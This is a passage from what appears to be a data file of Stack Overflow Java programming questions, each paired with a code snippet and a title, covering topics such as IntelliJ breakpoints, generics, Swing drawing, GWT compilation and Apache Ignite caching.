breakpoint inside the for-loop like so.Next I go to the `` view breakpoints '' menu , which can be accessed by ctrl+shift+f8 and enter these settings for my breakpoint.Then I hit the debug button and my output is this : Why is intellij printing `` void '' in the output ?","public class Main { public static void main ( String [ ] args ) { int [ ] a = { 1,1,1,1,1,1 } ; for ( int i = 0 ; i < a.length ; ++i ) { a [ i ] ++ ; } } } void1void1void1void1void1void1",Why does intellij print `` void '' when using evaluate log for a breakpoint ? +Java,I have two pieces of code that are identical in C # and Java . But the Java one goes twice as fast . I want to know why . Both work with the same principal of using a big lookup table for performance.Why is the Java going 50 % faster than C # ? Java code : It just enumerates through all possible 7 card combinations . The C # version is identical except at the end it uses Console.writeLine.The lookuptable is defined as : Its size in memory is about 120 Megabytes.The C # version has the same test code . It 's measured with Stopwatch instead of nanoTime ( ) and uses Console.WriteLine instead of System.out.println ( `` '' ) but it takes at least double the time.Java takes about 400ms . For compilation in java I use the -server flag . In C # the build is set to release without debug or trace defines.What is responsible for the speed difference ?,"int h1 , h2 , h3 , h4 , h5 , h6 , h7 ; int u0 , u1 , u2 , u3 , u4 , u5 ; long time = System.nanoTime ( ) ; long sum = 0 ; for ( h1 = 1 ; h1 < 47 ; h1++ ) { u0 = handRanksj [ 53 + h1 ] ; for ( h2 = h1 + 1 ; h2 < 48 ; h2++ ) { u1 = handRanksj [ u0 + h2 ] ; for ( h3 = h2 + 1 ; h3 < 49 ; h3++ ) { u2 = handRanksj [ u1 + h3 ] ; for ( h4 = h3 + 1 ; h4 < 50 ; h4++ ) { u3 = handRanksj [ u2 + h4 ] ; for ( h5 = h4 + 1 ; h5 < 51 ; h5++ ) { u4 = handRanksj [ u3 + h5 ] ; for ( h6 = h5 + 1 ; h6 < 52 ; h6++ ) { u5 = handRanksj [ u4 + h6 ] ; for ( h7 = h6 + 1 ; h7 < 53 ; h7++ ) { sum += handRanksj [ u5 + h7 ] ; } } } } } } } double rtime = ( System.nanoTime ( ) - time ) /1e9 ; // time given is start time System.out.println ( sum ) ; static int handRanksj [ ] ;",C # is half as slow than Java in memory access with loops ? +Java,"Having successfully sent and received handshakes from multiple peers , the next step in the BitTorrent message chain is the bitfield message.The bitfield message looks like below , where the top line explainins the byte-size of the protocol segments : The problem I have is that nearly all peers seem to be sending bitfield messages that differ from the above representation ! The messages tend to look like this : The first problem is that the majority of the messages I receive have length bytes : even though the received message in this case contains 332 bytes in total , while at some other instances the message may only be 80 bytes or so.The second problem is that the bits usually are repeating -1 or some other strange negative value..I do n't think this can be attributed to low-level encoding problems on my side however , since other messages works fine..","< 4-bytes > < 1-byte > < x-bytes > < nrOfBits > < identifier > < bits > size : 332 , [ 0 , 0 , 0 , 112 , 5 , 127 , -1 , -1 , -1 , -1 , -5 , -1 , -1 , -1 , -1 , -1 , -17 ... ] [ 0 , 0 , 0 , 112 ]",BitTorrent protocol with Java - Bitfield after successful handshake +Java,"I have been trying to implement basic text bubbles for a small game I am developing . Not wanting to go too fancy , I started with a basic rounded rectangle with a border containing some text : Then , I decided that text bubbles should fade out after a preset time . And this is where I stumbled upon a problem : when I tried to display the bubbles in a test window , everything worked fine , but when I displayed them in game , there was a distortion when the bubble faded out . I tested some more , debugged , and found the only difference between the two cases was that on the test window I drew the bubble with the paintComponent method 's Graphics , while in game I used BufferedImages to simulate layers and used the graphics from image.createGraphics . I could then successfully replicate the bug : Here , you see that when the bubble on the left is fading , its rounded corners change shape compared to before fading , whereas the bubble on the right 's rounded corners do not change . Indeed , the left bubble is drawn on a BufferedImage which is then drawn on the panel , whereas the right bubble is directly drawn on the panel.I have isolated the code which is needed to reproduce the problem : Here is the result the above code produces : Anyways , this shows that drawing to the BufferedImage is what causes the problem , however it is not an option to let go of BufferedImages at the moment.I tried to debug the code to see what could cause this difference and only could notice that the graphics object uses different components to draw when transparency was involved , however that does n't help me in solving my problem as , even if it was possible to force the graphics to do what I want them to , I 'd rather avoid hacking if possible.Does anyone know of a relatively simple and efficient way to solve this problem , or work around it ? Anyways , thanks for taking the time to read this : ) PS : As this is the first time I ask a question , I may have missed some stuff , so feel free to tell me if that is the case ! It 'd be much appreciated.EDIT : As I said in the comments , the game is pixel-art based therefore I would rather not use anti-aliasing , but keep the basic pixelated look of rounded rectangles .","public static void main ( String [ ] args ) { JFrame frame = new JFrame ( `` Test '' ) ; frame.setDefaultCloseOperation ( WindowConstants.EXIT_ON_CLOSE ) ; frame.setLocationRelativeTo ( null ) ; frame.setSize ( 400 , 400 ) ; JPanel panel = new JPanel ( ) { @ Override protected void paintComponent ( Graphics g ) { super.paintComponent ( g ) ; BufferedImage image = new BufferedImage ( getWidth ( ) , getHeight ( ) , BufferedImage.TYPE_INT_ARGB ) ; Graphics graphics = image.createGraphics ( ) ; paintExampleBubble ( graphics , 50 , 50 ) ; g.drawImage ( image , 0 , 0 , this ) ; paintExampleBubble ( g , 250 , 50 ) ; } } ; frame.getContentPane ( ) .add ( panel ) ; frame.setVisible ( true ) ; } private static final Color background = new Color ( 1f , 1f , 1f , 0.5f ) ; private static final Color foreground = new Color ( 0f , 0f , 0f , 0.5f ) ; private static final int borderRadius = 16 ; private static final int width = 100 ; private static final int height = 50 ; private static void paintExampleBubble ( Graphics g , int x , int y ) { g.setColor ( background ) ; g.fillRoundRect ( x , y , width , height , borderRadius , borderRadius ) ; g.setColor ( foreground ) ; g.drawRoundRect ( x , y , width , height , borderRadius , borderRadius ) ; }",Drawing a rounded rectangle with opacity on a BufferedImage +Java,"I know that this code : is really : The initializer block is being executed before the constructor block . In the above example , add ( `` test1 '' ) is called before the constructor being executed . The constructor may be initializing many of the instance fields , so that this class would work . I am wondering why calling .add ( ) before constructor would work ? Is there any case that cause an issue ?",Set < String > set = new HashSet < String > ( ) { { add ( `` test1 '' ) ; add ( `` test2 '' ) ; } } ; Set < String > set = new HashSet < String > ( ) { { //initializer add ( `` test1 '' ) ; add ( `` test2 '' ) ; } } ;,Java double brace initialization works always ? +Java,"I 'm having a weird issue with JavaFX ( jdk8 , build 117 ) : once the monitor resumes from standby the JavaFX stage/scene is blank.I 've tried minimizing/resizing the window but the contents are no longer displayed . I 'm using a simple scene with a StackPane.I 've tried searching for a known bug or a previous report but could not find any .","root = new StackPane ( ) ; root.setBackground ( null ) ; scene = new Scene ( root , Color.BLACK ) ; stage.setScene ( scene ) ; ProgressIndicator piLoader = new ProgressIndicator ( ) ; piLoader.setMaxSize ( 32d , 32d ) ; root.getChildren ( ) .add ( piLoader ) ; stage.show ( ) ;",JavaFX 8 : Blank scene after monitor out of standby +Java,"I try to run this code but it occur error.As we know that the minimum number of long is -9,223,372,036,854,775,808 and 0x9000000000000000 is -8,070,450,532,247,928,832 why it will occur error ?","System.out.println ( Long.parseLong ( `` 9000000000000000 '' , 16 ) ) ;",Exception in thread `` main '' java.lang.NumberFormatException : For input string : `` 9000000000000000 '' under radix 16 +Java,"There is a method : I refactored everything , but with one small change : String newString ; instead of : String newString = `` '' ; Does this refactor improve the code ? I know that String is null when we do n't initialize it , but in this example it always will have value a from if or else . Does this refactor change anything ?",private String myMethod ( String gender ) { String newString = `` '' ; if ( gender.equals ( `` a '' ) ) newString = internal.getValue ( ) ; else newString = external.getValue ( ) ; return newString ; },Should I pre-initialize a variable that is overwritten in multiple branches ? +Java,"I am starting to work with Java after some projects in C # and C++.I wanted to design visitor interfaces like this : Of course this does n't work because of type erasure . ( The reason why I want something like this is that I will have different Visitor interfaces for different groups of Actions that can be visited . ) The only solution that comes to my mind is to declare interfacesand then This would work , but I would n't like the declaration of all the ActionXVisitor-Interfaces which is stupid repetition and lots of files ... Do you have any ideas how to do this better ? Thanks a lot !","public interface ActionVisitor < A > { void visitAction ( A action ) ; } public interface MySmallActionVisitor extends ActionVisitor < ActionA > , ActionVisitor < ActionB > { } public interface MyFullActionVisitor extends ActionVisitor < ActionA > , ActionVisitor < ActionB > , ActionVisitor < ActionC > , ActionVisitor < ActionD > // ... . { } public interface ActionAVisitor { void visitAction ( ActionA action ) ; } public interface ActionBVisitor { void visitAction ( ActionB action ) ; } // ... public interface MySmallActionVisitor extends ActionAVisitor , ActionBVisitor { }",How to overcome problem with type erasure for visitor implementation +Java,"I am having trouble understanding the syntax for a method reference , where there are two parameters a and b , and the reference is to a method of a on b.For example I understand howis equivalent tobecause in that case the lambda parameters match the method call parameters ( o1 , o2 ) .Howevever for this lambdamy IDE tells me that is equivalent to : and I am not finding a rule for replacing that syntax : a.method ( b ) with a method reference.For example , what if there are three or more parameters to the lambda ? Is that legal ? Does the first parameter become the method target , and the remaining become the parameters ?","Arrays.sort ( personArray , comparators : :compareByName ) ; Arrays.sort ( personArray , ( o1 , o2 ) - > comparators.compareByName ( o1 , o2 ) ) ; stream.sorted ( ( o1 , o2 ) - > o1.compareToIgnoreCase ( o2 ) ) ; stream.sorted ( String : :compareToIgnoreCase ) ;",Instance Method Reference and Lambda Parameters +Java,"I believe that the type ? in generics is a specific unknown type . Which means , declaring let 's say a list of that type would prevent us from adding any type of object into it.The compiler gives an error as expected.But when the unknown type is a second level generics , the compiler does n't seem to care.I thought probably the compiler does n't care about generic parameter in the second level at all , but it 's not the case , So , why does the compiler allow us adding any kind of element when only an unknown element ( and hence nothing ) is acceptable in the second example ? Note : Compiler Java 1.8",List < ? > unknownList ; unknownList.add ( new Object ( ) ) ; // This is an error . class First < T > { } List < First < ? > > firstUnknownList ; // All these three work fine for some reason.firstUnknownList.add ( new First < > ( ) ) ; firstUnknownList.add ( new First < Integer > ( ) ) ; firstUnknownList.add ( new First < String > ( ) ) ; List < First < Integer > > firstIntegerList ; firstIntegerList.add ( new First < String > ( ) ) ; // This gives a compiler error as expected .,Irregularities with the ( ? ) wildcard generic type +Java,I was shocked when something along the lines of : Fails with : I do n't think this usage is very unusual ( I am actually trying to assert null or empty map ) and I could n't find anything wrong with the Hamcrest source code ...,"assertThat ( null , either ( is ( nullValue ( ) ) ) .or ( notNullValue ( ) ) ) ; java.lang.AssertionError : Expected : ( is null or not null ) but : was null at org.hamcrest.MatcherAssert.assertThat ( MatcherAssert.java:20 ) at org.junit.Assert.assertThat ( Assert.java:956 ) at org.junit.Assert.assertThat ( Assert.java:923 ) at Demo.testName ( Demo.java:12 )",Hamcrest bug with either-or and null or incorrect usage ? +Java,"I am using Picasso for fetching images from server and displaying in viewpager , but I am getting some strange kind of error , some of my images are not getting shown , when I am loading image statically they are showing but when images are loading from server some of them getting disappeared , especially after 3.Here is my ViewPagerAdapter.java :","public Object instantiateItem ( final ViewGroup container , int position ) { layoutInflater = ( LayoutInflater ) context.getSystemService ( Context.LAYOUT_INFLATER_SERVICE ) ; View itemView = layoutInflater.inflate ( R.layout.viewpager_item , container , false ) ; /** * Loading the image view */ // Locate the ImageView in viewpager_item.xml ImageView sliderItem = ( ImageView ) itemView.findViewById ( R.id.viewpagerImageView1 ) ; // Capture position and set to the ImageView /* if ( requestCreatorListIterator.hasNext ( ) ) { requestCreatorListIterator.next ( ) .into ( sliderItem ) ; } */ slider [ position ] .into ( sliderItem ) ; //sliderItem.setImageResource ( slider [ position ] ) ; // Add viewpager_item.xml to ViewPager ( ( ViewPager ) container ) .addView ( itemView ) ; //http : //stackoverflow.com/questions/21368693/how-to-do-circular-scrolling-on-viewpager ( ( ViewPager ) container ) .addOnPageChangeListener ( new ViewPager.OnPageChangeListener ( ) { @ Override public void onPageScrolled ( int position , float positionOffset , int positionOffsetPixels ) { } @ Override public void onPageSelected ( int position ) { // skip fake page ( first ) , go to last page if ( position == 0 ) { ( ( ViewPager ) container ) .setCurrentItem ( slider.length - 2 ) ; } // skip fake page ( last ) , go to first page if ( position == slider.length - 1 ) { ( ( ViewPager ) container ) .setCurrentItem ( 1 ) ; //notice how this jumps to position 1 , and not position 0 . Position 0 is the fake page ! } } @ Override public void onPageScrollStateChanged ( int state ) { } } ) ; }",Android : Picasso is not loading some images +Java,"Found this question here And I ca n't understand , why on first case it prints CoolReturn+1 and on second case CoolReturn ? How does it work ? Thanks====================What will be printed ? Answer : CoolReturn+1A bit more difficult : Answer : CoolReturn",public void testFinally ( ) { System.out.println ( setOne ( ) .toString ( ) ) ; } protected StringBuilder setOne ( ) { StringBuilder builder=new StringBuilder ( ) ; try { builder.append ( `` Cool '' ) ; return builder.append ( `` Return '' ) ; } finally { builder.append ( `` +1 '' ) ; } } public void testFinally ( ) { System.out.println ( setOne ( ) .toString ( ) ) ; } protected StringBuilder setOne ( ) { StringBuilder builder=new StringBuilder ( ) ; try { builder.append ( `` Cool '' ) ; return builder.append ( `` Return '' ) ; } finally { builder=null ; /* ; ) */ } },try / finally block question +Java,Possible Duplicate : Why does ArrayList have “ implements List ” ? I am new to java I was trying to see the hierarchy of collection interface . I found that the signature of AbstractList.java is likeIt implements List interface . But if you look at signature of child class ArrayList.java it looks likeIf you look parent class is already implemented List interface then why child class is again implementing same interface ( List ) .Is there specific reason or requirement behind this,"public abstract class AbstractList < E > extends AbstractCollection < E > implements List < E > public class ArrayList < E > extends AbstractList < E > implements List < E > , RandomAccess , Cloneable , java.io.Serializable",Redundant implementation of List interface in ArrayList.java +Java,I just saw someone use this alternate syntax for arrays and was wondering : Is equivalent to or is it equivalent to,public void fn ( Character [ ] ... ) { } public void fn ( Character [ ] ) { } // ( i.e . `` ... '' is redundant ) public void fn ( Character [ ] [ ] ) { },Java array syntax alternative +Java,"I 'm learning test-driven development , and I have noticed that it forces loosely coupled objects , which is basically a good thing . However , this also sometimes forces me to provide accessors for properties I would n't need normally , and I think most people on SO agree that accessors are usually a sign of bad design . Is this inevitable when doing TDD ? Here is an example , the simplified drawing code of an entity without TDD : The entity knows how to draw itself , that 's good . All in one place . However , I 'm doing TDD , so I want to check whether my entity was moved correctly by the `` fall ( ) '' method I am about to implement . Here is what the test case could look like : I have to look at the object 's internal ( well , at least logically ) state and see if the position was updated correctly . Since it 's actually in the way ( I do n't want my test cases to depend on my graphics library ) , I moved the drawing code to a class `` Renderer '' : Loosely coupled , good . I can even replace the renderer with one that displays the entity in a completely different way . However , I had to expose the internal state of the entity , namely the accessors for all of its properties , so that the renderer could read it.I feel that this was specifically forced by TDD . What can I do about this ? Is my design acceptable ? Does Java need the `` friend '' keyword from C++ ? Update : Thanks for your valuable inputs so far ! However , I fear I have chosen a bad example for illustrating my issue . This was completely made up , I will now demonstrate one that is closer to my actual code : This is a game loop based implementation of a game where an entity can fall down , among other things . If it hits the ground , a new entity is created.The `` mockRenderer '' is a mock implementation of an interface `` Renderer '' . This design was partly forced by TDD , but also because of the fact that I 'm going to write the user interface in GWT , and there is no explicit drawing in the browser ( yet ) , so I do n't think it is possible for the Entity class to assume that responsibility . Furthermore , I would like to keep the possibility of porting the game to native Java/Swing in the future.Update 2 : Thinking about this some more , maybe it 's okay how it is . Maybe it 's okay that the entity and the drawing is separated and that the entity tells other objects enough about itself to be drawn . I mean , how else could I achieve this separation ? And I do n't really see how to live without it . Even great object-oriented programmers use objects with getters/setters sometimes , especially for something like an entity object . Maybe getter/setter are not all evil . What do you think ?","class Entity { private int x ; private int y ; private int width ; private int height ; void draw ( Graphics g ) { g.drawRect ( x , y , width , height ) ; } } @ Testpublic void entityFalls ( ) { Entity e = new Entity ( ) ; int previousY = e.getY ( ) ; e.fall ( ) ; assertTrue ( previousY < e.getY ( ) ) ; } class Renderer { void drawEntity ( Graphics g , Entity e ) { g.drawRect ( e.getX ( ) , e.getY ( ) , e.getWidth ( ) , e.getHeight ( ) ) ; } } @ Testpublic void entityFalls ( ) { game.tick ( ) ; Entity initialEntity = mockRenderer.currentEntity ; int numTicks = mockRenderer.gameArea.height - mockRenderer.currentEntity.getHeight ( ) ; for ( int i = 0 ; i < numTicks ; i++ ) game.tick ( ) ; assertSame ( initialEntity , mockRenderer.currentEntity ) ; game.tick ( ) ; assertNotSame ( initialEntity , mockRenderer.currentEntity ) ; assertEquals ( initialEntity.getY ( ) + initialEntity.getHeight ( ) , mockRenderer.gameArea.height ) ; }",How to avoid accessors in test-driven development ? +Java,"I 've been taking a look at some GWT code written by various people and there are different ways of comparing strings . I 'm curious if this is just a style choice , or if one is more optimized than another : Is there a difference ?",`` `` .equals ( myString ) ; myString.equals ( `` '' ) ; myString.isEmpty ( ) ;,Java String Comparison : style choice or optimization ? +Java,"We have a GWT project using eclipse IDE and we run the project on superdev mode . Till yesterday everything was working fine , but from no where our project stopped compiling there are no errors occurring in the project . There are some warning showed in the console while compilation of the project.Now , Problem is project is perfectly running on super dev mode every functionality added is working fine no errors no problems.Its like if we have some error we can just sort them but with no error unable to find the problem . Tried to study & search but could n't find anything helpful that landed me on SO.USING : -GWT-2.8.0GWT Materialeclipse lunaThis the point it just stops working and the problem start.Until the project gets compiled we ca n't create its war file and unable to host the project globally on tomcat .","Compiling module com.edubot.Edubot Computing all possible rebind results for 'com.edubot.client.enggheads.web.homepage.HomePageBase.HomePageBaseUiBinder ' Rebinding com.edubot.client.enggheads.web.homepage.HomePageBase.HomePageBaseUiBinder Invoking generator com.google.gwt.uibinder.rebind.UiBinderGenerator The following problems were detected [ WARN ] Line 29 column 25 : encountered `` : '' . Was expecting one of : `` } '' `` + '' `` - '' `` , '' `` ; '' `` / '' < STRING > < IDENT > < NUMBER > < URL > < PERCENTAGE > < PT > < MM > < CM > < PC > < IN > < PX > < EMS > < EXS > < DEG > < RAD > < GRAD > < MS > < SECOND > < HZ > < KHZ > < DIMEN > < HASH > < IMPORTANT_SYM > < UNICODERANGE > < FUNCTION > Computing all possible rebind results for 'com.edubot.client.enggheads.web.homepage.HomePageBase_HomePageBaseUiBinderImpl_GenBundle ' Rebinding com.edubot.client.enggheads.web.homepage.HomePageBase_HomePageBaseUiBinderImpl_GenBundle Invoking generator com.google.gwt.resources.rebind.context.InlineClientBundleGenerator Preparing method style The following problems were detected [ WARN ] Line 29 column 25 : encountered `` : '' . Was expecting one of : `` } '' `` + '' `` - '' `` , '' `` ; '' `` / '' < STRING > < IDENT > < NUMBER > < URL > < PERCENTAGE > < PT > < MM > < CM > < PC > < IN > < PX > < EMS > < EXS > < DEG > < RAD > < GRAD > < MS > < SECOND > < HZ > < KHZ > < DIMEN > < HASH > < IMPORTANT_SYM > < UNICODERANGE > < FUNCTION > Rebinding com.edubot.client.enggheads.web.homepage.HomePageBase_HomePageBaseUiBinderImpl_GenBundle Invoking generator com.google.gwt.resources.rebind.context.InlineClientBundleGenerator Preparing method style The following problems were detected [ WARN ] Line 29 column 25 : encountered `` : '' . Was expecting one of : `` } '' `` + '' `` - '' `` , '' `` ; '' `` / '' < STRING > < IDENT > < NUMBER > < URL > < PERCENTAGE > < PT > < MM > < CM > < PC > < IN > < PX > < EMS > < EXS > < DEG > < RAD > < GRAD > < MS > < SECOND > < HZ > < KHZ > < DIMEN > < HASH > < IMPORTANT_SYM > < UNICODERANGE > < FUNCTION > Rebinding com.edubot.client.enggheads.web.homepage.HomePageBase_HomePageBaseUiBinderImpl_GenBundle Invoking generator com.google.gwt.resources.rebind.context.InlineClientBundleGenerator Preparing method style The following problems were detected [ WARN ] Line 29 column 25 : encountered `` : '' . Was expecting one of : `` } '' `` + '' `` - '' `` , '' `` ; '' `` / '' < STRING > < IDENT > < NUMBER > < URL > < PERCENTAGE > < PT > < MM > < CM > < PC > < IN > < PX > < EMS > < EXS > < DEG > < RAD > < GRAD > < MS > < SECOND > < HZ > < KHZ > < DIMEN > < HASH > < IMPORTANT_SYM > < UNICODERANGE > < FUNCTION > Computing all possible rebind results for 'com.edubot.client.post.web.EmptyPost.EmptyClassesUiBinder ' Rebinding com.edubot.client.post.web.EmptyPost.EmptyClassesUiBinder Invoking generator com.google.gwt.uibinder.rebind.UiBinderGenerator The following problems were detected [ WARN ] Line 10 column 32 : encountered `` ! '' . Was expecting one of : `` } '' `` + '' `` - '' `` , '' `` ; '' `` / '' < STRING > < IDENT > < NUMBER > < URL > < PERCENTAGE > < PT > < MM > < CM > < PC > < IN > < PX > < EMS > < EXS > < DEG > < RAD > < GRAD > < MS > < SECOND > < HZ > < KHZ > < DIMEN > < HASH > < IMPORTANT_SYM > < UNICODERANGE > < FUNCTION > Computing all possible rebind results for 'com.edubot.client.post.web.EmptyPost_EmptyClassesUiBinderImpl_GenBundle ' Rebinding com.edubot.client.post.web.EmptyPost_EmptyClassesUiBinderImpl_GenBundle Invoking generator com.google.gwt.resources.rebind.context.InlineClientBundleGenerator Preparing method style The following problems were detected [ WARN ] Line 10 column 32 : encountered `` ! '' . Was expecting one of : `` } '' `` + '' `` - '' `` , '' `` ; '' `` / '' < STRING > < IDENT > < NUMBER > < URL > < PERCENTAGE > < PT > < MM > < CM > < PC > < IN > < PX > < EMS > < EXS > < DEG > < RAD > < GRAD > < MS > < SECOND > < HZ > < KHZ > < DIMEN > < HASH > < IMPORTANT_SYM > < UNICODERANGE > < FUNCTION > Rebinding com.edubot.client.post.web.EmptyPost_EmptyClassesUiBinderImpl_GenBundle Invoking generator com.google.gwt.resources.rebind.context.InlineClientBundleGenerator Preparing method style The following problems were detected [ WARN ] Line 10 column 32 : encountered `` ! '' . Was expecting one of : `` } '' `` + '' `` - '' `` , '' `` ; '' `` / '' < STRING > < IDENT > < NUMBER > < URL > < PERCENTAGE > < PT > < MM > < CM > < PC > < IN > < PX > < EMS > < EXS > < DEG > < RAD > < GRAD > < MS > < SECOND > < HZ > < KHZ > < DIMEN > < HASH > < IMPORTANT_SYM > < UNICODERANGE > < FUNCTION > Rebinding com.edubot.client.post.web.EmptyPost_EmptyClassesUiBinderImpl_GenBundle Invoking generator com.google.gwt.resources.rebind.context.InlineClientBundleGenerator Preparing method style The following problems were detected [ WARN ] Line 10 column 32 : encountered `` ! '' . Was expecting one of : `` } '' `` + '' `` - '' `` , '' `` ; '' `` / '' < STRING > < IDENT > < NUMBER > < URL > < PERCENTAGE > < PT > < MM > < CM > < PC > < IN > < PX > < EMS > < EXS > < DEG > < RAD > < GRAD > < MS > < SECOND > < HZ > < KHZ > < DIMEN > < HASH > < IMPORTANT_SYM > < UNICODERANGE > < FUNCTION > Compiling 2 permutations Compiling permutation 0 ...","GWT Project compile not working - No errors , perfectly running on SUPERDEV mode" +Java,"I just implemented a program that uses the Stanford POS tagger in Java.I used an input file of a few KB in size , consisting of a few hundred words . I even set the heap size to 600 MB.But it is still slow and sometimes runs out of heap memory . How can I increase its execution speed and memory performance ? I would like to be able to use a few MB as input .",public static void postag ( String args ) throws ClassNotFoundException { try { File filein=new File ( `` c : //input.txt '' ) ; String content = FileUtils.readFileToString ( filein ) ; MaxentTagger tagger = new MaxentTagger ( `` postagging/wsj-0-18-bidirectional-distsim.tagger '' ) ; String tagged = tagger.tagString ( content ) ; try { File file = new File ( `` c : //output.txt '' ) ; if ( ! file.exists ( ) ) { file.createNewFile ( ) ; } FileWriter fw = new FileWriter ( file.getAbsoluteFile ( ) ) ; BufferedWriter bw = new BufferedWriter ( fw ) ; bw.write ( `` \n '' +tagged ) ; bw.close ( ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; } } catch ( IOException e1 ) { e1.printStackTrace ( ) ; } },Increase performance of Stanford-tagger based program +Java,"I 'm doing a PoC using apache ignite . Here is the scenario I 'm testing : Start a cluster of 3 nodes and a client.Call get key . I log on node that caches this key.Call get key . I verify it gets stored value.Do a loadCache ( ) . All nodes report successfully Loading cache.Kill node that originally loaded keyRestart node that I just killed.Query for key again.Steps 6 and 7 have some trouble . If I wait Long enough between the two everything works as it should . However if try to do 6 and 7 too close together then I get this error on the client and this error on the node . I see the error IgniteClientDisconnectedException : Failed to wait for topology update , client disconnected . However is there a way to avoid this issue ? Setting a longer time to wait for a topology update is n't really an option because a client may try to connect at any time . Is it to do with my cluster configuration ? I saw this documentation which suggests infinitely trying to connect which seems like it would just keep erring.Also , we would need to be able to dynamically grow/shrink the cluster . Is this possible ? Would having in memory backups fix the functionality ? Note , if I omit step 6 I 've not seen it fail.Cluster Node ConfigClient ConfigImplemented methods of CacheStoreAdaptor","< beans xmlns= '' http : //www.springframework.org/schema/beans '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xsi : schemaLocation= '' http : //www.springframework.org/schema/beans http : //www.springframework.org/schema/beans/spring-beans.xsd '' > < ! -- < import resource= '' ./cache.xml '' / > -- > < bean id= '' grid.cfg '' class= '' org.apache.ignite.configuration.IgniteConfiguration '' > < property name= '' peerClassLoadingEnabled '' value= '' true '' / > < property name= '' cacheConfiguration '' > < bean class= '' org.apache.ignite.configuration.CacheConfiguration '' > < ! -- Set a cache name . -- > < property name= '' name '' value= '' recordData '' / > < ! -- < property name= '' rebalanceMode '' value= '' SYNC '' / > -- > < ! -- Set cache mode . -- > < property name= '' cacheMode '' value= '' PARTITIONED '' / > < property name= '' cacheStoreFactory '' > < bean class= '' javax.cache.configuration.FactoryBuilder '' factory-method= '' factoryOf '' > < constructor-arg value= '' Application.RecordDataStore '' / > < /bean > < /property > < property name= '' readThrough '' value= '' true '' / > < property name= '' writeThrough '' value= '' true '' / > < /bean > < /property > < property name= '' discoverySpi '' > < bean class= '' org.apache.ignite.spi.discovery.tcp.TcpDiscoverySpi '' > < ! -- Override local port . -- > < property name= '' localPort '' value= '' 8000 '' / > < /bean > < /property > < property name= '' communicationSpi '' > < bean class= '' org.apache.ignite.spi.communication.tcp.TcpCommunicationSpi '' > < ! -- Override local port . -- > < property name= '' localPort '' value= '' 8100 '' / > < /bean > < /property > < /bean > < /beans > < beans xmlns= '' http : //www.springframework.org/schema/beans '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xmlns : util= '' http : //www.springframework.org/schema/util '' xsi : schemaLocation= '' http : //www.springframework.org/schema/beans http : //www.springframework.org/schema/beans/spring-beans.xsd http : //www.springframework.org/schema/util http : //www.springframework.org/schema/util/spring-util.xsd '' > < bean abstract= '' true '' id= '' ignite.cfg '' class= '' org.apache.ignite.configuration.IgniteConfiguration '' > < ! -- Set to true to enable distributed class loading for examples , default is false . -- > < property name= '' peerClassLoadingEnabled '' value= '' true '' / > < property name= '' clientMode '' value= '' true '' / > < property name= '' cacheConfiguration '' > < bean class= '' org.apache.ignite.configuration.CacheConfiguration '' > < ! -- Set a cache name . -- > < property name= '' name '' value= '' recordData '' / > < ! -- < property name= '' rebalanceMode '' value= '' SYNC '' / > -- > < ! -- Set cache mode . -- > < property name= '' cacheMode '' value= '' PARTITIONED '' / > < property name= '' cacheStoreFactory '' > < bean class= '' javax.cache.configuration.FactoryBuilder '' factory-method= '' factoryOf '' > < constructor-arg value= '' com.digitaslbi.idiom.util.RecordDataStore '' / > < /bean > < /property > < property name= '' readThrough '' value= '' true '' / > < property name= '' writeThrough '' value= '' true '' / > < /bean > < /property > < ! -- Enable task execution events for examples . -- > < property name= '' includeEventTypes '' > < list > < ! -- Task execution events -- > < util : constant static-field= '' org.apache.ignite.events.EventType.EVT_TASK_STARTED '' / > < util : constant static-field= '' org.apache.ignite.events.EventType.EVT_TASK_FINISHED '' / > < util : constant static-field= '' org.apache.ignite.events.EventType.EVT_TASK_FAILED '' / > < util : constant static-field= '' org.apache.ignite.events.EventType.EVT_TASK_TIMEDOUT '' / > < util : constant static-field= '' org.apache.ignite.events.EventType.EVT_TASK_SESSION_ATTR_SET '' / > < util : constant static-field= '' org.apache.ignite.events.EventType.EVT_TASK_REDUCED '' / > < ! -- Cache events -- > < util : constant static-field= '' org.apache.ignite.events.EventType.EVT_CACHE_OBJECT_PUT '' / > < util : constant static-field= '' org.apache.ignite.events.EventType.EVT_CACHE_OBJECT_READ '' / > < util : constant static-field= '' org.apache.ignite.events.EventType.EVT_CACHE_OBJECT_REMOVED '' / > < /list > < /property > < ! -- Explicitly configure TCP discovery SPI to provide list of initial nodes . -- > < property name= '' discoverySpi '' > < bean class= '' org.apache.ignite.spi.discovery.tcp.TcpDiscoverySpi '' > < property name= '' ipFinder '' > < ! -- Ignite provides several options for automatic discovery that can be used instead os static IP based discovery . For information on all options refer to our documentation : http : //apacheignite.readme.io/docs/cluster-config -- > < ! -- Uncomment static IP finder to enable static-based discovery of initial nodes . -- > < ! -- < bean class= '' org.apache.ignite.spi.discovery.tcp.ipfinder.vm.TcpDiscoveryVmIpFinder '' > -- > < bean class= '' org.apache.ignite.spi.discovery.tcp.ipfinder.vm.TcpDiscoveryVmIpFinder '' > < property name= '' addresses '' > < list > < ! -- In distributed environment , replace with actual host IP address . -- > < value > localhost:8000..8099 < /value > < ! -- < value > 127.0.0.1:47500..47509 < /value > -- > < /list > < /property > < /bean > < /property > < /bean > < /property > < /bean > < /beans > public class RecordDataStore extends CacheStoreAdapter < Long , List < Record > > { // This method is called whenever `` get ( ... ) '' methods are called on IgniteCache . @ Override public List < Record > load ( Long key ) { System.out.println ( `` Load data for pel : `` + key ) ; try { CouchDbConnector db = RecordDataStore.getDb ( ) ; ViewQuery viewQuery = new ViewQuery ( ) .designDocId ( `` _design/docs '' ) .viewName ( `` all '' ) ; List < Record > list = db.queryView ( viewQuery , Record.class ) ; HashMultimap < Long , Record > multimap = HashMultimap.create ( ) ; list.forEach ( r - > { multimap.put ( r.getId ( ) , r ) ; } ) ; return new LinkedList < > ( multimap.get ( key ) ) ; } catch ( MalformedURLException e ) { throw new CacheLoaderException ( `` Failed to load values from cache store . `` , e ) ; } } ... . @ Override public void loadCache ( IgniteBiInClosure < Long , List < Record > > clo , Object ... args ) { if ( args == null || args.length == 0 || args [ 0 ] == null ) { throw new CacheLoaderException ( `` Expected entry count parameter is not provided . `` ) ; } System.out.println ( `` Loading Cache ... '' ) ; final long entryCnt = ( Long ) args [ 0 ] ; try { CouchDbConnector db = RecordDataStore.getDb ( ) ; ViewQuery viewQuery = new ViewQuery ( ) .designDocId ( `` _design/docs '' ) .viewName ( `` all '' ) ; List < Record > list = db.queryView ( viewQuery , Record.class ) ; 